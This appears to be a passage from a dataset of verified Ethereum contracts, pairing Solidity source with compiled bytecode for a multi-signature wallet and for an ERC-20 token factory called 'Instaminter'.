i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction tx = transactions[transactionId]; tx.executed = true; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filters are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c271461017c578063173825d9146101dc57806320ea8d86146102125780632f54bf6e146102325780633411c81c1461028057806354741525146102d75780637065cb4814610318578063784547a71461034e5780638b51d13f146103865780639ace38c2146103ba578063a0e67e2b146104b5578063a8abe69a1461052a578063b5dc40c3146105cc578063b77bf6001461064f578063ba51a6df14610675578063c01a8c8414610695578063c6427474146106b5578063d74f8edd1461074b578063dc8452cd14610771578063e20056e614610797578063ee22610b146107ec575b61017a5b6000341115610177573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b565b005b341561018457fe5b61019a600480803590602001909190505061080c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e457fe5b610210600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061084c565b005b341561021a57fe5b6102306004808035906020019091905050610af4565b005b341561023a57fe5b610266600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca5565b604051808215151515815260200191505060405180910390f35b341561028857fe5b6102bd600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cc5565b604051808215151515815260200191505060405180910390f35b34156102df57fe5b610302600480803515159060200190919080351515906020019091905050610cf4565b6040518082815260200191505060405180910390f35b341561032057fe5b61034c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d8b565b005b341561035657fe5b61036c6004808035906020019091905050610f8e565b604051808215151515815260200191505060405180910390f35b341561038e57fe5b6103a46004808035906020019091905050611078565b6040518082815260200191505060405180910390f35b34156103c257fe5b6103d86004808035906020019091905050611148565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104a35780601f10610478576101008083540402835291602001916104a3565b820191906000526020600020905b81548152906001019060200180831161048657829003601f168201915b50509550505050505060405180910390f35b34156104bd57fe5b6104c56111a4565b6040518080602001828103825283818151815260200191508051906020019060200280838360008314610517575b805182526020831115610517576020820191506020810190506020830392506104f3565b5050509050019250505060405180910390f35b341561053257fe5b610567600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611239565b60405180806020018281038252838181518152602001915080519060200190602002808383600083146105b9575b8051825260208311156105b957602082019150602081019050602083039250610595565b5050509050019250505060405180910390f35b34156105d457fe5b6105ea600480803590602001909190505061139d565b604051808060200182810382528381815181526020019150805190602001906020028083836000831461063c575b80518252602083111561063c57602082019150602081019050602083039250610618565b5050509050019250505060405180910390f35b341561065757fe5b61065f6115cf565b6040518082815260200191505060405180910390f35b341561067d57fe5b61069360048080359060200190919050506115d5565b005b341561069d57fe5b6106b3600480803590602001909190505061168c565b005b34156106bd57fe5b610735600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611871565b6040518082815260200191505060405180910390f35b341561075357fe5b61075b611891565b6040518082815260200191505060405180910390f35b341561077957fe5b610781611896565b6040518082815260200191505060405180910390f35b341561079f57fe5b6107ea600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061189c565b005b34156107f457fe5b61080a6004808035906020019091905050611bc1565b005b60038181548110151561081b57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108895760006000fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108e35760006000fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a6f578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561097657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a615760036001600380549050038154811015156109d657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a1257fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a6f565b5b8180600101925050610940565b6001600381818054905003915081610a879190611edd565b506003805490506004541115610aa657610aa56003805490506115d5565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405180905060405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b4e5760006000fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bba5760006000fd5b836000600082815260200190815260200160002060030160009054906101000a900460ff1615610bea5760006000fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405180905060405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006000600090505b600554811015610d8357838015610d3557506000600082815260200190815260200160002060030160009054906101000a900460ff16155b80610d695750828015610d6857506000600082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d75576001820191505b5b8080600101915050610cfd565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dc65760006000fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e1f5760006000fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610e455760006000fd5b6001600380549050016004546032821180610e5f57508181115b80610e6a5750600081145b80610e755750600082145b15610e805760006000fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610eec9190611f09565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405180905060405180910390a25b5b50505b505b505b50565b60006000600060009150600090505b60038054905081101561107057600160008581526020019081526020016000206000600383815481101515610fce57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561104f576001820191505b6004548214156110625760019250611071565b5b8080600101915050610f9d565b5b5050919050565b60006000600090505b600380549050811015611141576001600084815260200190815260200160002060006003838154811015156110b257fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611133576001820191505b5b8080600101915050611081565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111ac611f35565b600380548060200260200160405190810160405280929190818152602001828054801561122e57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111e4575b505050505090505b90565b611241611f49565b611249611f49565b6000600060055460405180591061125d5750595b908082528060200260200182016040525b50925060009150600090505b60055481101561131d578580156112b257506000600082815260200190815260200160002060030160009054906101000a900460ff16155b806112e657508480156112e557506000600082815260200190815260200160002060030160009054906101000a900460ff165b5b1561130f578083838151811015156112fa57fe5b90602001906020020181815250506001820191505b5b808060010191505061127a565b87870360405180591061132d5750595b908082528060200260200182016040525b5093508790505b8681101561139157828181518110151561135b57fe5b906020019060200201518489830381518110151561137557fe5b90602001906020020181815250505b8080600101915050611345565b5b505050949350505050565b6113a5611f35565b6113ad611f35565b600060006003805490506040518059106113c45750595b908082528060200260200182016040525b50925060009150600090505b6003805490508110156115275760016000868152602001908152602001600020600060038381548110151561141257fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115195760038181548110151561149b57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114d657fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113e1565b816040518059106115355750595b908082528060200260200182016040525b509350600090505b818110156115c657828181518110151561156457fe5b90602001906020020151848281518110151561157c57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b808060010191505061154e565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116105760006000fd5b60038054905081603282118061162557508181115b806116305750600081145b8061163b5750600082145b156116465760006000fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116e65760006000fd5b8160006000600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117425760006000fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117ad5760006000fd5b60016001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405180905060405180910390a361186685611bc1565b5b5b50505b505b5050565b600061187e848484611d86565b90506118898161168c565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118d95760006000fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156119335760006000fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561198c5760006000fd5b600092505b600380549050831015611a7a578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119c457fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a6c5783600384815481101515611a1d57fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a7a565b5b8280600101935050611991565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405180905060405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405180905060405180910390a25b5b505b505b505050565b6000816000600082815260200190815260200160002060030160009054906101000a900460ff1615611bf35760006000fd5b611bfc83610f8e565b15611d7f5760006000848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611cdc5780601f10611cb157610100808354040283529160200191611cdc565b820191906000526020600020905b815481529060010190602001808311611cbf57829003601f168201915b505091505060006040518083038185876187965a03f19250505015611d3057827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405180905060405180910390a2611d7e565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405180905060405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b5b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611dae5760006000fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001600015158152506000600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611e6e929190611f5d565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405180905060405180910390a25b5b509392505050565b815481835581811511611f0457818360005260206000209182019101611f039190611fdd565b5b505050565b815481835581811511611f3057818360005260206000209182019101611f2f9190611fdd565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f9e57805160ff1916838001178555611fcc565b82800160010185558215611fcc579182015b82811115611fcb578251825591602001919060010190611fb0565b5b509050611fd99190611fdd565b5090565b611fff91905b80821115611ffb576000816000905550600101611fe3565b5090565b905600a165627a7a72305820e2e6fdaa90d3d32e4848a12ab2572f2d059b4d3fc5532cd0442c16ae218a2dc80029
{"success": true, "error": null, "results": {}}
7,654
0x0c199144D2952294daDBE14ea2D01155eE921232
/** *Submitted for verification at Etherscan.io on 2021-06-26 */ pragma solidity >=0.4.25 <0.6.0; //@title Instaminter //@R^3 //@notice creates ERC-20 token contracts contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; address public creator; modifier onlyTokenOwner() { require(msg.sender == creator || msg.sender == owner); _; } /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyTokenOwner public { if (newOwner != address(0)) { owner = newOwner; } } function transferCreator(address newCreator) onlyTokenOwner public { if (newCreator != address(0)) { creator = newCreator; } } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyTokenOwner whenNotPaused public returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyTokenOwner whenPaused public returns (bool) { paused = false; emit Unpause(); return true; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { uint value = _value; balances[msg.sender] = balances[msg.sender].sub(value); balances[_to] = balances[_to].add(value); emit Transfer(msg.sender, _to, value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { uint _allowance = allowed[_from][msg.sender]; uint value = _value; balances[_to] = balances[_to].add(value); balances[_from] = balances[_from].sub(value); allowed[_from][msg.sender] = _allowance.sub(value); emit Transfer(_from, _to, value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { uint value = _value; // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = value; emit Approval(msg.sender, _spender, value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyTokenOwner canMint public returns (bool) { uint amount = _amount; totalSupply = totalSupply.add(amount); balances[_to] = balances[_to].add(amount); emit Mint(_to, amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyTokenOwner public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint _value) whenNotPaused public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused public returns (bool) { return super.transferFrom(_from, _to, _value); } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specified amount of tokens. * @param _value The amount of tokens to burn. */ function burn(uint256 _value) public { require(_value > 0); uint value = _value; address burner = msg.sender; balances[burner] = balances[burner].sub(value); totalSupply = totalSupply.sub(value); emit Burn(msg.sender, value); } } contract ERCDetailed is BurnableToken, PausableToken, MintableToken { string private _name; string private _symbol; uint256 private _decimals; constructor (string memory name, string memory symbol, uint256 decimals, address _creator) public { _name = name; _symbol = symbol; _decimals = decimals; creator = _creator; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint256) { return _decimals; } function burn(uint256 _value) whenNotPaused public { super.burn(_value); } } //@dev contract creates new ERC-20 tokens contract TokenFactory is Ownable { address[] public deployedTokens; ERCDetailed public newToken; //@dev allows for check on which tokens are associated with a specific address mapping (address => address) public myTokens; //@dev fee for generating token contract uint public tokenFee = 0.01 ether; //@dev set token fee (owner only) function setTokenFee(uint _fee) external onlyOwner { tokenFee = _fee; } //@dev creates ERC-20 token function createToken(string _name, string _symbol, uint256 _decimals) external payable returns (ERCDetailed) { require(msg.value == tokenFee); newToken = new ERCDetailed(_name, _symbol, _decimals, msg.sender); deployedTokens.push(address(newToken)); myTokens[address(newToken)] = msg.sender; return(newToken); } //@dev gets list of all deployed tokens function getDeployedTokens() public view returns (address[] memory) { return deployedTokens; } //@dev allows owner to withdraw fees function withdraw() external onlyOwner { address _owner = address(uint160(owner)); _owner.transfer(address(this).balance); } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302d05d3f81146100be57806331b31b88146100ef5780633ccfd60b14610109578063455991361461011e5780635b06053014610145578063622ae7aa146101675780638da5cb5b146101cc578063c42bd05a146101e1578063dc1df3f6146101f6578063ec81aadb14610217578063f2fde38b1461022f578063fa3fa19614610250575b600080fd5b3480156100ca57600080fd5b506100d3610271565b60408051600160a060020a039092168252519081900360200190f35b3480156100fb57600080fd5b50610107600435610280565b005b34801561011557600080fd5b5061010761029c565b34801561012a57600080fd5b506101336102f7565b60408051918252519081900360200190f35b6100d360246004803582810192908201359181359182019101356044356102fd565b34801561017357600080fd5b5061017c61041b565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156101b85781810151838201526020016101a0565b505050509050019250505060405180910390f35b3480156101d857600080fd5b506100d361047d565b3480156101ed57600080fd5b506100d361048c565b34801561020257600080fd5b506100d3600160a060020a036004351661049b565b34801561022357600080fd5b506100d36004356104b6565b34801561023b57600080fd5b50610107600160a060020a03600435166104de565b34801561025c57600080fd5b50610107600160a060020a0360043516610547565b600154600160a060020a031681565b600054600160a060020a0316331461029757600080fd5b600555565b60008054600160a060020a031633146102b457600080fd5b5060008054604051600160a060020a03909116918291303180156108fc0292909190818181858888f193505050501580156102f3573d6000803e3d6000fd5b5050565b60055481565b600554600090341461030e57600080fd5b85858585853361031c6105b1565b60408101839052600160a060020a038216606082015260808082528101869052806020810160a0820189898082843790910184810383528781526020019050878780828437820191505098505050505050505050604051809103906000f08015801561038c573d6000803e3d6000fd5b5060038054600160a060020a0392831673ffffffffffffffffffffffffffffffffffffffff199182161780835560028054600181019091557f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805483169185169190911790558154831660009081526004602052604090208054909116331790555416905095945050505050565b6060600280548060200260200160405190810160405280929190818152602001828054801561047357602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610455575b5050505050905090565b600054600160a060020a031681565b600354600160a060020a031681565b600460205260009081526040902054600160a060020a031681565b60028054829081106104c457fe5b600091825260209091200154600160a060020a0316905081565b600154600160a060020a03163314806105015750600054600160a060020a031633145b151561050c57600080fd5b600160a060020a03811615610544576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600154600160a060020a031633148061056a5750600054600160a060020a031633145b151561057557600080fd5b600160a060020a038116156105445760018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b604051610e50806105c283390190560060806040526004805460a060020a61ffff021916905534801561002157600080fd5b50604051610e50380380610e50833981016040908152815160208084015192840151606085015160038054600160a060020a03191633179055928501805190959490940193909291610078916005918701906100ba565b50825161008c9060069060208601906100ba565b5060079190915560048054600160a060020a031916600160a060020a03909216919091179055506101559050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100fb57805160ff1916838001178555610128565b82800160010185558215610128579182015b8281111561012857825182559160200191906001019061010d565b50610134929150610138565b5090565b61015291905b80821115610134576000815560010161013e565b90565b610cec806101646000396000f3006080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302d05d3f811461011657806305d2035b1461014757806306fdde0314610170578063095ea7b3146101fa57806318160ddd1461021e57806323b872dd14610245578063313ce5671461026f5780633f4ba83a1461028457806340c10f191461029957806342966c68146102bd5780635c975abb146102d757806370a08231146102ec5780637d64bcb41461030d5780638456cb59146103225780638da5cb5b1461033757806395d89b411461034c578063a9059cbb14610361578063dd62ed3e14610385578063f2fde38b146103ac578063fa3fa196146103cd575b600080fd5b34801561012257600080fd5b5061012b6103ee565b60408051600160a060020a039092168252519081900360200190f35b34801561015357600080fd5b5061015c6103fd565b604080519115158252519081900360200190f35b34801561017c57600080fd5b5061018561041f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101bf5781810151838201526020016101a7565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020657600080fd5b5061015c600160a060020a03600435166024356104b5565b34801561022a57600080fd5b50610233610559565b60408051918252519081900360200190f35b34801561025157600080fd5b5061015c600160a060020a036004358116906024351660443561055f565b34801561027b57600080fd5b5061023361058c565b34801561029057600080fd5b5061015c610592565b3480156102a557600080fd5b5061015c600160a060020a0360043516602435610628565b3480156102c957600080fd5b506102d5600435610721565b005b3480156102e357600080fd5b5061015c610744565b3480156102f857600080fd5b50610233600160a060020a0360043516610754565b34801561031957600080fd5b5061015c61076f565b34801561032e57600080fd5b5061015c610806565b34801561034357600080fd5b5061012b6108a1565b34801561035857600080fd5b506101856108b0565b34801561036d57600080fd5b5061015c600160a060020a0360043516602435610911565b34801561039157600080fd5b50610233600160a060020a036004358116906024351661093c565b3480156103b857600080fd5b506102d5600160a060020a0360043516610967565b3480156103d957600080fd5b506102d